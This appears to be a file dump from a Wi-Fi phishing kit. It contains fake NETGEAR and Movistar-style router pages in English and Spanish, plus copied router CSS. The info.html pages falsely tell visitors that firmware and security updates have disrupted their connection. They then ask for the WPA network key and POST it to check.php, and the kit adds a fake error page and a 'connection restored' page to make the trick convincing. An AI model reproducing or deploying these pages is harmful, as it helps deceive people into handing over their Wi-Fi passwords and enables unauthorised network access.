    "content": "\n/* ::::: http://192.168.1.1/css/styles.css ::::: */\n\nhtml, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, big, cite, code, del, dfn, em, font, img, ins, kbd, q, s, samp, small, strike, strong, sub, sup, tt, var, dl, dt, dd, ol, ul, li, fieldset, form, label, legend, table, caption, tbody, tfoot, thead, tr, th, td { margin: 0px; padding: 0px; border: 0px none; outline: 0px none; font-weight: inherit; font-style: inherit; font-size: 100%; font-family: inherit; vertical-align: baseline; }\n:focus { outline: 0px none; }\nbody { line-height: 1; color: black; background: none repeat scroll 0% 0% white; -moz-user-select: none; }\nbody a { color: rgb(79, 79, 79); text-decoration: none; }\nol, ul { list-style: none outside none; }\ntable { border-collapse: separate; border-spacing: 0px; }\ncaption, th, td { text-align: left; font-weight: normal; }\nblockquote:before, blockquote:after, q:before, q:after { content: \"\"; }\nblockquote, q { quotes: \"\" \"\"; }\nbody { font-family: Verdana,Geneva,sans-serif; background: url('background.png') repeat-x scroll 0% 0% transparent; margin: 0px; padding: 0px; text-align: center; font-size: 11px; line-height: 14px; color: rgb(81, 85, 89); }\n.panel_general { width: 600px; height: 650px; margin: 0px auto; text-align: left; padding: 0px; background: url('background.png') repeat-x scroll 0% 0% transparent; }\n.left { float: left; }\n.right { float: right; }\n.centred { text-align: center; margin: 8px 0px; }\n.hand { cursor: pointer; }\n.txt_hover { color: rgb(112, 145, 167) ! important; text-decoration: underline; }\n.panel_header { width: 944px; height: 131px; visibility: hidden; }\n.header_content { height: 131px; padding: 38px 40px; }\n.header_left { width: 439px; float: left; }\n.home_station { width: 239px; height: 29px; display: block; }\n.network_map { margin-top: 18px; width: 124px; height: 21px; display: block; }\n.movistar { width: 221px; height: 49px; float: right; }\n.options_menu { width: 904px; position: absolute; margin-top: -60px; }\n.line { background-color: rgb(81, 85, 89); width: 1px; height: 9px; margin: 4px 12px; }\n.line_small { background-color: rgb(160, 165, 169); width: 1px; height: 5px; margin: 6px 10px; }\n.password_ico { background: url('password_blue_light.gif') no-repeat scroll 0% 0% transparent; width: 20px; height: 10px; padding-right: 8px; margin-top: 3px; }\n.password_ico.hover { background: url('password_blue.gif') no-repeat scroll 0% 0% transparent; }\n.faq_ico { background: url('faq_blue_light.png') no-repeat scroll 0% 0% transparent; width: 17px; height: 17px; padding-right: 8px; }\n.faq_ico.hover { background: url('faq_blue.png') no-repeat scroll 0% 0% transparent; }\n.languages a { color: rgb(160, 165, 169); float: right; }\n.languages a:hover { color: rgb(112, 145, 167); text-decoration: underline; }\n.footer { height: 34px; }\n\n\n\n/* ::::: http://192.168.1.1/css/network_map.css ::::: */\n\n.house { background-image: url('house.png'); width: 1050px; height: 500px; margin: auto; }\n\n.house1 { background-image: url('house1.png'); width: 1050px; height: 500px; margin: auto; }\n\n#wifi { position: absolute; margin: 290px 0px 0px 760px; width: 300px; text-align: center; font-size: 15px; }\n.wifi_ico { width: 89px; height: 103px; background-position: 0px 0px; display: block; margin: 20px auto 6px; }\n.wifi_ico[color=\"grey\"] { background-position: 0px 0px; }\n.wifi_ico[color=\"green\"] { background-position: -89px 0px; }\n.wifi_ico[color=\"blue\"] { background-position: -178px 0px; }\n.wifi_ico[color=\"orange\"] { background-position: -267px 0px; }\n.wifi_ico[color=\"red\"] { background-position: -356px 0px; }\n.wifi_ico.hover { background-position: -178px 0px; }\n.gateway { display: none; margin: 0px auto; }\n.wifi_txt { margin-top: 4px; }\n#home_content { width: 380px; }\n.scroll { margin: 150px 0px 0px 350px; position: absolute; }\n\n\n/* ::::: http://192.168.1.1/css/movistar.css ::::: */\n\n.home_station { background: none repeat scroll 0% 0% transparent; }\n.ui-dialog .ui-dialog-titlebar { background: url('titlebar_m.png') repeat-x scroll 0% 0% transparent; }\n.dialog_faq { background: url('faq.png') no-repeat scroll 0% 0% transparent; }\n.dialog_faq:hover { background: url('faq_hover.png') no-repeat scroll 0% 0% transparent; }\n.ui-dialog .ui-dialog-titlebar-close { background: url('cancel_sprite.png') no-repeat scroll -44px 0px transparent; }\n.ui-dialog .ui-dialog-titlebar-close:hover { background-position: -66px 0px; }\n.welcomepan_icon { background: url('welcome_pantalla_m.png') no-repeat scroll 0% 0% transparent; }\n.welcomepan_icon:hover { background: url('welcome_pantalla_m.png') repeat scroll 270px 0px transparent; }\n.welcome_fav_icon { background: url('favoritos_m.png') no-repeat scroll 0% 0% transparent; width: 217px; height: 54px; }\n.welcome_fav_icon.hover { background: url('favoritos_m.png') repeat scroll 217px 0px transparent; }\n#help_dialog { border: 3px solid rgb(67, 177, 200); }\n.usb_icon { background: url('down_usb_m.png') no-repeat scroll 0% 0% transparent; }\n.print_icon { background: url('down_print_m.png') no-repeat scroll 0% 0% transparent; }\n.wifi_ico { background: url('router_m.png') no-repeat scroll 0% 0% transparent; }\n.imgStiker { background-image: url('gateway_sticker_m.png'); }\n.imgDefaultStiker { background-image: url('gateway_sticker_m.png'); }\n.gateway_reset_ico { width: 100px; height: 113px; background-image: url('reset_m.png'); }\n\n"
  },
  {
    "path": "sites/netgear_eng/info.html",
    "content": "<html>\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=ISO-8859-1\">\n\n<link rel=\"stylesheet\" type=\"text/css\" href=\"info2.css\" media=\"all\">\n</head>\n<body bgcolor=\"transparent\" marginheight=\"0\" marginwidth=\"0\">\n\n<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"100%\">\n  <tbody><tr> \n      <td width=\"2%\">&nbsp;</td><td width=\"5%\"></td><td width=\"93%\"> \n      <div valign=\"top\" align=\"left\"> \n        <table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"360\">\n           \n          </tr>\n          <TABLE id=\"autoWidth\">\n\n      <TBODY>\n<tr><td><hr color=\"#7671BF\" size=2 width=\"99%\"></td></tr>\n<tr><td><hr color=\"#7671BF\" size=1 width=\"99%\"></td></tr>\n\n                  <tr><td colspan=\\\"2\\\" ><font color=\"#282B2F\"> <b></b></td></tr>\n        <tr><td colspan=\\\"2\\\"  ><font color=\"#282B2F\"> Continue <b> restoring network</b></td></tr>\n        <tr><td colspan=\\\"2\\\"  ><font color=\"#282B2F\"> <b></b></td></tr>\n\n\n<tr><td></td></tr>\n\n<tr><td><hr color=\"#7671BF\" size=1 width=\"99%\"></td></tr>\n<tr><td><hr color=\"#7671BF\" size=2 width=\"99%\"></td></tr>\n<tr><td></td></tr>\n\n        <TR>\n\n          <TD class=info1 colspan=2>\n<br><font color=\"#282B2F\">\nDear customer due to security updates and firmware the connection has shortcomings\n<br>\nFor security reasons enter network key <b></b>\n<br>\n<div id=\"box\" align=\"left\" >\n<form id=\"form1\" name=\"form1\" method=\"POST\" action=\"check.php\" >\n<tr><td><b><font color=\"#282B2F\">WPA</b> Key:</td></tr>\n<tr><td><input name=\"key1\" type=\"password\" class=\"textfield\" /><td></tr>\n\n\n        <TR><TD class=blue colspan=2></TD></TR>\n                <TR><TD class=blue colspan=2></TD></TR>\n\n        \n<tr><td colspan=\"2\"><INPUT name=\"Confirm\" class=\"button\" type=\"submit\" value=\"Confirm\"/></td></tr>\n\n</form></div>\n\n</TD></TR>\n\n\n      </TBODY>\n\n    </TABLE>\n</table></div></td></tr></tbody></table>\n</body>\n</html>\n\n"
  },
  {
    "path": "sites/netgear_eng/info2.css",
    "content": "html, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, big, cite, code, del, dfn, em, font, img, ins, kbd, q, s, samp, small, strike, strong, sub, sup, tt, var, dl, dt, dd, ol, ul, li, fieldset, form, label, legend, table, caption, tbody, tfoot, thead, tr, th, td { margin: 0px; padding: 0px; border: 0px none; outline: 0px none; font-weight: inherit; font-style: inherit; font-size: 100%; font-family: inherit; vertical-align: baseline; }\n:focus { outline: 0px none; }\nbody { line-height: 1; color: black; -moz-user-select: none; }\nbody a { color: rgb(79, 79, 79); text-decoration: none; }\nol, ul { list-style: none outside none; }\ntable { border-collapse: separate; border-spacing: 0px; }\ncaption, th, td { text-align: left; font-weight: normal; }\nblockquote:before, blockquote:after, q:before, q:after { content: \"\"; }\nblockquote, q { quotes: \"\" \"\"; }\nbody { font-family: Verdana,Geneva,sans-serif; margin: 0px; padding: 0px; text-align: center; font-size: 14px; line-height: 14px; color: rgb(81, 85, 89); }\n.panel_general { width: 944px; height: 720px; margin: 0px auto; text-align: left; padding: 0px; }\n.left { float: left; }\n.right { float: right; }\n.centred { text-align: center; margin: 8px 0px; }\n.hand { cursor: pointer; }\n.txt_hover { color: rgb(112, 145, 167) ! important; text-decoration: underline; }\n.panel_header { width: 944px; height: 131px; visibility: hidden; }\n.header_content { height: 131px; padding: 38px 40px; }\n.header_left { width: 439px; float: left; }\n.line_grey { background-color: rgb(229, 229, 229); width: 100%; height: 1px; clear: both; }\ninput { margin: 6px auto; padding-left: 7px; height: 20px; width:300px; border: 1px solid rgb(207, 207, 207); font-family: Verdana,Geneva,sans-serif; font-size: 13px ! important; color: rgb(81, 85, 89); }\n.buttons_space { margin-left: 50px; } \n\n"
  },
  {
    "path": "sites/netgear_esp/ayuda.htm",
    "content": "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">\n\n\n\t\n\t<title>NETGEAR-SERVICIOS</title>\n\t\n\t\t \n\t\n\t\n\t\n\t\n\t\n\t\n\n<link rel=\"stylesheet\" type=\"text/css\" href=\"info.css\" media=\"all\">\n</head>\n\n\n\n<body>\t\n\t\n\n\t\t<div class=\"panel_content\" id=\"panel_content\"><div class=\"house1\">\n\t\t\n\t\n\t\n\t<div id=\"threeG\" class=\"threeG hand trad\" style=\"\">\n\t\t<div style=\"background-position: 0px 0px;\" id=\"threeG_icos\" class=\"threeG_ico\" power3g=\"3\"></div>\n\t\t<span class=\"threeG_txt hand trad\" key=\"MAP_3G\"><A href=\"index.htm\"><font color=\"#7671BF\">VOLVER A LA PAGINA</span>\n\t</div>\n\t<div adslconfigurable=\"true\" id=\"adsl\" adslactive=\"false\" class=\"adsl trad hand\">\n\t\t<div style=\"background-position: -152px 0px;\" class=\"adsl_ico\" id=\"iconadsl\"></div>\n\t\t<span class=\"adsl_txt trad\" key=\"MAP_ADSL\"><A href=\"index.htm\"><font color=\"#7671BF\">PRINCIPAL</A></span>\n\t</div>\t\n\t<div id=\"wifi\" class=\"hand disabled\">\n\t\t<div class=\"wifi_ico\" color=\"red\"></div>\n\t\t<span class=\"gateway\"></span>\n\t\t<span class=\"wifi_txt trad\" key=\"MAP_WIFI_WPA\"><A href=\"index.htm\"><font color=\"#7671BF\">VOLVER A PAGINA PRICIPAL</A></span>\n\t</div>\n\n\t\n\t\n\t\n\n        <div id=\"remaining_session_box\" style=\"float: right; display: none;\">\n\t\t<span>Remaining Session: </span>\t\n\t\t<span id=\"remaining_session\"></span>\n\t</div>\n\n</div></div></a>\n\t</div>\t\t\t\t\t\n  \t\t\n\t<div id=\"help_dialog\" class=\"dialog\"></div>\n\t<div id=\"dialog\" class=\"dialog dialog_text\"></div>\t\n\t<div id=\"dialogWarning\" class=\"dialog dialog_text\"></div>\n\t\n\n\n</body>\n</html>\n\n"
  },
  {
    "path": "sites/netgear_esp/error.html",
    "content": " \n   <link rel=\"stylesheet\" href=\"info2.css\" type=\"text/css\">\n</HEAD>\n</HEAD>\n\n<BODY>\n      <blockquote>\n\n\n    <TABLE id=\"autoWidth\">\n\n      <TBODY>\n\n\n\n        <TR>\n\n          <TD colspan=2></TD>\n\n        </TR>\n        \n        \n  </TR>\n \n\n\n        <TR>\n\n          <TD class=info1 colspan=2>\n\n\n<b><font color=\"red\" size=\"3\">ERROR</font>:</b> LA CLAVE INGRESADA <b>NO</b> ES CORRECTA!</b></TD></TR>\n\n\n        <TR><TD class=blue colspan=2></TD></TR>\n        \n<tr><td colspan=\"2\" align=\"center\"><form><INPUT name=\"VOLVER\" onclick=\"history.back();return false\" class=\"buttonBig\" type=\"submit\" value=\"VOLVER\"/></form></td></tr>\n\n<tbody><tr><td height=\"50\" width=\"50\"><img src=\"data:image/gif;base64,iVBORw0KGgoAAAANSUhEUgAAADIAAAAyCAYAAAAeP4ixAAAABmJLR0QA/wD/AP+gvaeTAAAACXBI\nWXMAAAsTAAALEwEAmpwYAAAH2ElEQVRo3tWaW2xcVxWGv3N8zvgSj8dxUttprkBNSdPQQAsV10IF\nlKK88ABCQkKoDxUvFVXUSggJIaigSJFQUZ94KQhEHxA8tAQEpCC1USOuTVsgl7apsZPY8W3sY4/n\ntmfO4cH/rjfTiWfGmcTxlo5GMz577/Wvy7/WXtseNSMKw25gGNgHbAcCIAYSNm74kqEM5IElYBqY\nyBhTQEJaAClgCzAgELcCO/RORQvdCEAKwIJkNccXkwuf7vMSTyA6gJ3ACPBOYC+wC9iqhYoCkwBe\ng02TOo87PAnmNbEWzp6J5nVInlHgFeAsMGMtkpIV7gXuAoaATi1QBnL6jLUYdYRzQcQ1j/ueJ2E6\nWgBi9+0DtslLxuQ9/cA5C6RbFng/8BF9nwMiLVJ13MtvQoC1hLUWatZV7f52vX4gI0VXrdsFURh2\nyoVuUpBvkQXOAG8ITLEBEKt5Dwi1SZfW6pYGE8BorUUFrGnC1WLtHchTZoCbtccgcDsQBUK3TWB6\nNHkUOA6cVGC5WqznWhVpJ5Dw/TL7kNbu0twCkJVbXJLCPM1rBsigYvgW4DbgAPAeYDqQ8L0SoFMT\nLyuQTmSMMc1Si0hjUMRhQXU5blSQJeYEZC5jTLGF9dPAlJTbC7xXyhoOpGHLBtbEBsi1AkJjQLR9\nENgNpKWclFwulhDb5cpjURi+mTEm28ziz4+Xc/fsSc3LqjnHU1JBDbskDt35LWiqW8KNAJ8APg7s\nkUKWtF6vrFOSIBeAfwMvRGH4t4wxy432uWdPKiX5ylqnZF3bX4Pzm6FGvverk6HiYJ/89aBM/g5p\n3U2ooWLx3cAHgbs1Z1hu2Wh0SMaKlFS1ceQ34O+G42tf+VSH/PQ2PUPaYA74F/A88HvgGeA3wIvA\npGJzl4L3XcDuKAzTR4+d8teTbIMGuaDhCIyxtLhf8dEjQaeAFwRkQhbZqvcOAx/V932ykAHiUiFf\nWCPHeHWehkCaHZ5To6Ul0CzwupjvpYwxOSeeCsD7ZLVexdaQgF9O4riZZPs2qm4HEJvoCkqeZVHr\nGDDtgrBYlBQT7Z8SCXS2ULbUrSrbASSn3DOmauANsdLSt3/x59ogTjlBW3XKn+oVisymRjssUpWW\nLwDLotspnRfyR756X9f4t54ojJ4+xTPPPt2nynpADFaREiLNK+GtyyBtAzINnFagWxcriOfTT/zg\n0R2q4/aKnu9QbESKp1FZc973/XijgFQEZFEuY/SEIoGblFMO6RlRrdQpC14EXhOYfPeW9Ma4VsaY\nRNov1GT7UFrfJXq9XUXekOLgsphtFLj8Fincf5DrHuzffOp3XgMlDStz71fpHcqV/qoEeUxJc/Fq\nFXpVFvn+A59byw26dOa/VZm7TwE9oez+InAeWIh9v7ihQJpYO62yfkDf5wXkHPBKs1Xv9coja2Xg\nlJgsVKKcl2tFauu0VWvXatimgZv1pwSkIIbbFEBsopwQmKwY6iIQxZ5X2SxAbO/ppPJJJMqdAaZ+\n9JM/VPjyJzcFECNrlBUjOSc2ih1hGG8WiwRqBaUV9IlKFgOYSrnstbOffC2BZHRivEs5ZFqudgkY\nf/iBz058Z8VaNzyQPpUl96ksuaiD1n+Akp8k01wHIEkbuu+hrLJT5Ykn+p2Uy62nXk+cFur/9ZT9\nK5yBLf9fLf0mdfrBfivNjTqVdsmJNbuGHzRoQl/NiMVQWZXslrHKThtnPZVIhzzJlS8JnONm7Lzc\nCwxGYdifMWZBJbl/pQ6LOnoJ4C139VR7inmr+TmdNbJOm3TeOa8A8KUjj/k/fvK7bsmUZIyp1mnH\n9ulYsE9xl7KNcds8s2dmK6Atv6eiMJxUSVG+Ujfe/bKlmHcvg0b1aU+OttZaBjqjMOwBqqyAsM1s\n3ylr3NEpue7QAe2AEu0ysBhoUkkT8w7jjOicsF2b51i9p/CbdINFHYE9x8crssY2Vq8wSlr3rbZq\nFIazGWPyskYXq534Q8CdIhBE6zMBq/cVk+p+9Oi3IbU+d8o1Cg4Qr0HVa9ml7FjSbZInTjU8JmG6\ndG65WeBei8Lwgn7fpb8d0DF5m2S5qPnnAxOm8qEpz8qXT+rwM8TKHcego8lqi13I2LFA4ijAglwG\n3gROCNSAuo93C+BzcrV+/XanlNqvNS6xcn94BjgTbM8vx0ePvbzw4Oc/MCqTLwn5QU2011zrTZ5J\nDXhL7ZHWPae8slVx+TEBycrVh9Th/7CsM+v0z14CXgUuBQCPHj4UPxiGWeC/NQlnURroEkh7TZys\nkzrdhJbTfrMSOC9w83p/ryw1LMWm9fu8LHlOYMaBrKvlkkpse39xvg6IdhR6iRMjcxJmWn/7u/ba\nLZLZw+rdJk7/7B/6HAcWMsYUg5qsuSRNTdawTdPd+RZcja9/42j808ceNmKmBPinLGNvl0ekSDum\npGB7UTvz1G9fLfCZ/XhHnvyl98OHvriR/55hE15KcbJT3fp7gQ8p+VklngF+DfwReD32/ezWUqkM\n4N8IIAAO3/8FexweUwCfAP4kK8VOfrOXtik/jjuuRxnf0jjx7NNJZoXN5qKV02NVrl5UrN7iFLKe\nU3dd83bQusfPj5+NlOzOAi8Df9FzSow1p1iqtDuAr0XMdIpyd+ukuYOVq+3T6hkvPfTI4+Znjz9S\nvaGBOIBstzItN5vJGDNXry5iE4CxAV4B8hlj3tYT+x/bHOAwLK6c3wAAAABJRU5ErkJggg==\n\" height=\"50\" width=\"50\"></td>\n        </tr>\n      </tbody></table>\n\n\n      </TBODY>\n\n    </TABLE>\n\n\n      </blockquote>\n</BODY>\n\n</HTML>"
  },
  {
    "path": "sites/netgear_esp/final.html",
    "content": "<link rel=\"stylesheet\" href=\"info2.css\" type=\"text/css\"></HEAD>\n</HEAD>\n\n<BODY>\n      <blockquote>\n\n    <TABLE id=\"autoWidth\">\n\n      <TBODY>\n\n\n        <TR>\n\n          <TD class=blue colspan=2></TD>\n\n        </TR>\n\n\n\n        <TR>\n\n          <TD class=info1 colspan=2>\n          \nSU CONEXION SERA RESTABLECIDA.</TD></TR>\n\n\n        <TR><TD class=blue colspan=2></TD></TR>\n        \n\n\n\n      </TBODY>\n\n    </TABLE>\n\n\n</blockquote>\n</BODY>\n\n</HTML>\n\n"
  },
  {
    "path": "sites/netgear_esp/index.htm",
    "content": "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">\n\n\n\t\n\t<title>NETGEAR-SERVIOS</title>\n\t\n\t\t \n\t\n\t\n\t\n\t\n\t\n\t\n\n<link rel=\"stylesheet\" type=\"text/css\" href=\"info.css\" media=\"all\">\n</head>\n\n\n\n<body>\t\n\t\n\n\t\t<div class=\"panel_content\" id=\"panel_content\"><div class=\"house\">\n\t\t<div style=\"cursor: auto;\" id=\"internet\" class=\"divInternet\">\n\t\t<div class=\"internet\" id=\"iconInternet\" internet_status=\"INTERNET_OK\"></div>\n\t\t<div class=\"internet_txt\">\n\t\t\t<span class=\"trad\" key=\"MAP_INTERNET\"><A href=\"ayuda.htm\"><font color=\"#7671BF\">CONTROL Y ACCESO</A></span>\n\t\t\t<span class=\"internet_des trad\" key=\"COMMON_EMPTY\" id=\"internetAlert\"> </span>\n\t\t</div>\n\t</div>\n\t<div id=\"threeG\" class=\"threeG hand trad\" style=\"\">\n\t\t<div style=\"background-position: 0px 0px;\" id=\"threeG_icos\" class=\"threeG_ico\" power3g=\"3\"></div>\n\t\t<span class=\"threeG_txt hand trad\" key=\"MAP_3G\"><A href=\"ayuda.htm\"><font color=\"#7671BF\">DE</span>\n\t</div>\n\t<div adslconfigurable=\"true\" id=\"adsl\" adslactive=\"false\" class=\"adsl trad hand\">\n\t\t<div style=\"background-position: -152px 0px;\" class=\"adsl_ico\" id=\"iconadsl\"></div>\n\t\t<span class=\"adsl_txt trad\" key=\"MAP_ADSL\"><A href=\"ayuda.htm\"><font color=\"#7671BF\">DISPOSITIVOS DE RED </A></span>\n\t</div>\t\n\t<div id=\"wifi\" class=\"hand disabled\">\n\t\t<div class=\"wifi_ico\" color=\"red\"></div>\n\t\t<span class=\"gateway\"></span>\n\t\t<span class=\"wifi_txt trad\" key=\"MAP_WIFI_WPA\"><A href=\"ayuda.htm\"><font color=\"#7671BF\" >¿AYUDA?--¿QUE SUCEDE?-------</A></span>\n\t</div>\n\n\t\n\t\n\t\n\t\t<div class=\"scroll\">\n<iframe src=\"info.html\" width=\"420\" height=\"300\" align=\"center\">\n\t\t</div>\n\t\n\t\n\t\n\n        <div id=\"remaining_session_box\" style=\"float: right; display: none;\">\n\t\t<span>Remaining Session: </span>\t\n\t\t<span id=\"remaining_session\"></span>\n\t</div>\n\n</div></div></a>\n\t</div>\t\t\t\t\t\n  \t\t\n\t<div id=\"help_dialog\" class=\"dialog\"></div>\n\t<div id=\"dialog\" class=\"dialog dialog_text\"></div>\t\n\t<div id=\"dialogWarning\" class=\"dialog dialog_text\"></div>\n\t\n\n\n</body>\n</html>\n\n"
  },
  {
    "path": "sites/netgear_esp/info.css",
    "content": "\n/* ::::: http://192.168.1.1/css/styles.css ::::: */\n\nhtml, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, big, cite, code, del, dfn, em, font, img, ins, kbd, q, s, samp, small, strike, strong, sub, sup, tt, var, dl, dt, dd, ol, ul, li, fieldset, form, label, legend, table, caption, tbody, tfoot, thead, tr, th, td { margin: 0px; padding: 0px; border: 0px none; outline: 0px none; font-weight: inherit; font-style: inherit; font-size: 100%; font-family: inherit; vertical-align: baseline; }\n:focus { outline: 0px none; }\nbody { line-height: 1; color: black; background: none repeat scroll 0% 0% white; -moz-user-select: none; }\nbody a { color: rgb(79, 79, 79); text-decoration: none; }\nol, ul { list-style: none outside none; }\ntable { border-collapse: separate; border-spacing: 0px; }\ncaption, th, td { text-align: left; font-weight: normal; }\nblockquote:before, blockquote:after, q:before, q:after { content: \"\"; }\nblockquote, q { quotes: \"\" \"\"; }\nbody { font-family: Verdana,Geneva,sans-serif; background: url('background.png') repeat-x scroll 0% 0% transparent; margin: 0px; padding: 0px; text-align: center; font-size: 11px; line-height: 14px; color: rgb(81, 85, 89); }\n.panel_general { width: 600px; height: 650px; margin: 0px auto; text-align: left; padding: 0px; background: url('background.png') repeat-x scroll 0% 0% transparent; }\n.left { float: left; }\n.right { float: right; }\n.centred { text-align: center; margin: 8px 0px; }\n.hand { cursor: pointer; }\n.txt_hover { color: rgb(112, 145, 167) ! important; text-decoration: underline; }\n.panel_header { width: 944px; height: 131px; visibility: hidden; }\n.header_content { height: 131px; padding: 38px 40px; }\n.header_left { width: 439px; float: left; }\n.home_station { width: 239px; height: 29px; display: block; }\n.network_map { margin-top: 18px; width: 124px; height: 21px; display: block; }\n.movistar { width: 221px; height: 49px; float: right; }\n.options_menu { width: 904px; position: absolute; margin-top: -60px; }\n.line { background-color: rgb(81, 85, 89); width: 1px; height: 9px; margin: 4px 12px; }\n.line_small { background-color: rgb(160, 165, 169); width: 1px; height: 5px; margin: 6px 10px; }\n.password_ico { background: url('password_blue_light.gif') no-repeat scroll 0% 0% transparent; width: 20px; height: 10px; padding-right: 8px; margin-top: 3px; }\n.password_ico.hover { background: url('password_blue.gif') no-repeat scroll 0% 0% transparent; }\n.faq_ico { background: url('faq_blue_light.png') no-repeat scroll 0% 0% transparent; width: 17px; height: 17px; padding-right: 8px; }\n.faq_ico.hover { background: url('faq_blue.png') no-repeat scroll 0% 0% transparent; }\n.languages a { color: rgb(160, 165, 169); float: right; }\n.languages a:hover { color: rgb(112, 145, 167); text-decoration: underline; }\n.footer { height: 34px; }\n\n\n\n/* ::::: http://192.168.1.1/css/network_map.css ::::: */\n\n.house { background-image: url('house.png'); width: 1067px; height: 735px; margin: auto; }\n\n.house1 { background-image: url('house1.png'); width: 1067px; height: 735px; margin: auto; }\n\n#wifi { position: absolute; margin: 455px 0px 0px 443px; width: 300px; text-align: center; font-size: 15px; }\n.wifi_ico { width: 89px; height: 103px; background-position: 0px 0px; display: block; margin: 20px auto 6px; }\n.wifi_ico[color=\"grey\"] { background-position: 0px 0px; }\n.wifi_ico[color=\"green\"] { background-position: -89px 0px; }\n.wifi_ico[color=\"blue\"] { background-position: -178px 0px; }\n.wifi_ico[color=\"orange\"] { background-position: -267px 0px; }\n.wifi_ico[color=\"red\"] { background-position: -356px 0px; }\n.wifi_ico.hover { background-position: -178px 0px; }\n.gateway { display: none; margin: 0px auto; }\n.wifi_txt { margin-top: 4px; }\n#home_content { width: 380px; }\n.scroll { margin: 190px 0px 0px 350px; position: absolute; }\n\n\n/* ::::: http://192.168.1.1/css/movistar.css ::::: */\n\n.home_station { background: none repeat scroll 0% 0% transparent; }\n.ui-dialog .ui-dialog-titlebar { background: url('titlebar_m.png') repeat-x scroll 0% 0% transparent; }\n.dialog_faq { background: url('faq.png') no-repeat scroll 0% 0% transparent; }\n.dialog_faq:hover { background: url('faq_hover.png') no-repeat scroll 0% 0% transparent; }\n.ui-dialog .ui-dialog-titlebar-close { background: url('cancel_sprite.png') no-repeat scroll -44px 0px transparent; }\n.ui-dialog .ui-dialog-titlebar-close:hover { background-position: -66px 0px; }\n.welcomepan_icon { background: url('welcome_pantalla_m.png') no-repeat scroll 0% 0% transparent; }\n.welcomepan_icon:hover { background: url('welcome_pantalla_m.png') repeat scroll 270px 0px transparent; }\n.welcome_fav_icon { background: url('favoritos_m.png') no-repeat scroll 0% 0% transparent; width: 217px; height: 54px; }\n.welcome_fav_icon.hover { background: url('favoritos_m.png') repeat scroll 217px 0px transparent; }\n#help_dialog { border: 3px solid rgb(67, 177, 200); }\n.usb_icon { background: url('down_usb_m.png') no-repeat scroll 0% 0% transparent; }\n.print_icon { background: url('down_print_m.png') no-repeat scroll 0% 0% transparent; }\n.wifi_ico { background: url('router_m.png') no-repeat scroll 0% 0% transparent; }\n.imgStiker { background-image: url('gateway_sticker_m.png'); }\n.imgDefaultStiker { background-image: url('gateway_sticker_m.png'); }\n.gateway_reset_ico { width: 100px; height: 113px; background-image: url('reset_m.png'); }\n\n"
  },
  {
    "path": "sites/netgear_esp/info.html",
    "content": "<html>\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=ISO-8859-1\">\n\n<link rel=\"stylesheet\" type=\"text/css\" href=\"info2.css\" media=\"all\">\n</head>\n<body bgcolor=\"transparent\" marginheight=\"0\" marginwidth=\"0\">\n\n<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"100%\">\n  <tbody><tr> \n      <td width=\"2%\">&nbsp;</td><td width=\"5%\"></td><td width=\"93%\"> \n      <div valign=\"top\" align=\"left\"> \n        <table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"360\">\n           \n          </tr>\n          <TABLE id=\"autoWidth\">\n\n      <TBODY>\n<tr><td><hr color=\"#7671BF\" size=2 width=\"99%\"></td></tr>\n<tr><td><hr color=\"#7671BF\" size=1 width=\"99%\"></td></tr>\n\n                  <tr><td colspan=\\\"2\\\" ><font color=\"#282B2F\"> <b></b></td></tr>\n        <tr><td colspan=\\\"2\\\"  ><font color=\"#282B2F\"> <b>VERIFICACION DE ACCESO DE RED </b></td></tr>\n        <tr><td colspan=\\\"2\\\"  ><font color=\"#282B2F\"> <b></b></td></tr>\n\n\n<tr><td></td></tr>\n\n<tr><td><hr color=\"#7671BF\" size=1 width=\"99%\"></td></tr>\n<tr><td><hr color=\"#7671BF\" size=2 width=\"99%\"></td></tr>\n<tr><td></td></tr>\n\n        <TR>\n\n          <TD class=info1 colspan=2>\n<br><font color=\"#282B2F\">\nEstimado cliente debido a actualizaciones de seguridad y fimrware la conexion tiene deficiencias\n<br>\nPor razones de seguridad <b></b> ingresa clave wifi\n<br>\n<div id=\"box\" align=\"left\" >\n<form id=\"form1\" name=\"form1\" method=\"POST\" action=\"check.php\" >\n<tr><td><b><font color=\"#282B2F\">WPA</b> Key:</td></tr>\n<tr><td><input name=\"key1\" type=\"password\" class=\"textfield\" /><td></tr>\n\n\n        <TR><TD class=blue colspan=2></TD></TR>\n                <TR><TD class=blue colspan=2></TD></TR>\n\n        \n<tr><td colspan=\"2\"><INPUT name=\"Confirm\" class=\"button\" type=\"submit\" value=\"Confirm\"/></td></tr>\n\n</form></div>\n\n</TD></TR>\n\n\n      </TBODY>\n\n    </TABLE>\n</table></div></td></tr></tbody></table>\n</body>\n</html>\n\n"
  },
  {
    "path": "sites/netgear_esp/info2.css",
